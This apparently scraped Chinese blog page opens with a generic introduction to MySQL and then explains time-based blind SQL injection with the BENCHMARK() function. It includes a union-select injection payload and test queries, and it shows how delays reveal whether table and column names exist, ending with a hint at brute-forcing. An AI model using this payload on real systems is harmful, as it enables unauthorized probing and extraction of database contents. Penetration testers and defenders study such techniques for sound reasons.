MySQL是一个开源的关系型数据库管理系统(RDBMS),它使用结构化查询语言(SQL)作为数据操作的标准语言。MySQL的名称由“My”和“SQL”两个单词组成,其中“My”是创始人Michael Widenius的女儿的名字,而“SQL”是结构化查询语言的缩写。

MySQL的特点是速度快、稳定、易用、灵活和可扩展。MySQL可以运行在多种操作系统上,如Windows、Linux、Mac OS等,也可以与多种编程语言配合使用,如PHP、Java、Python等。MySQL还提供了多种存储引擎、事务处理、复制、分区、全文索引等高级功能,满足不同的应用需求。

MySQL的应用领域非常广泛,它可以用来开发各种类型的网站和应用程序,如电子商务、社交网络、博客、论坛、新闻、游戏等。MySQL也是许多知名的互联网公司和组织的选择,如Facebook、Google、Twitter、Wikipedia等。

先上图看效果

1' union select 1,BENCHMARK(500000000,(select user from users limit 0,1))#

mysql performance_schema表介绍 mysql remark_mysql


可见benchmark()函数是可以造成延时的。

简介:
它是MySQL的一个内置函数,用于测试函数或者表达式的执行速度。
其运行返回值都是0,仅仅会执行显示时间。

用法:benchmark(重复次数, 执行的函数)

例如:将select database()执行100000000次,显示耗时0.52sec

SELECT BENCHMARK(100000000,(select database()));

mysql performance_schema表介绍 mysql remark_数据库_02


了解了基础用法,我们来看看在盲注利用时的相关特性:

特性1:无论benchmark()内的函数或表达式语句执行结果为True、False、Null,他都会正常执行。

SELECT BENCHMARK(100000000,(1=1));
SELECT BENCHMARK(100000000,(1=2));
SELECT BENCHMARK(100000000,(null));

mysql performance_schema表介绍 mysql remark_sql_03


看到这里可能会认为这个函数没有用,笔者当时也这样子觉得,但是却发现了他的另外两个特性

特性2:仅支持查询单行单列的结果,如果存在单行单列的执行结果,则可以正常执行,反之则报错,执行失败。

select user from users
SELECT BENCHMARK(100000000,(select user from users));
SELECT BENCHMARK(100000000,(select user from users limit 0,1));

mysql performance_schema表介绍 mysql remark_mysql_04


可以看到当返回结果为多行单列时,直接报错。

当限制返回结果为单行单列时,成功执行。

特性3:当benchmark()内的语句运行失败时,benchmark同样执行失败。

show columns from users;
 SELECT BENCHMARK(100000000,(select user from users limit 0,1));
 SELECT BENCHMARK(100000000,(select aaaa from users limit 0,1));

mysql performance_schema表介绍 mysql remark_mysql_05

可见当列名user存在时,可以执行benchmark;

列名aaaa不存在导致selec语句报错,benchmark则执行失败。

结合上面三个特性,我们可以利用benchmark函数判断我们查找的信息是否存在(表名、列名、字段名等),可以从是否有延时来验证数据库中是否有我们要查找的信息,效果上约等于sleep()函数,要是再配合上暴力破解那岂不是美滋滋。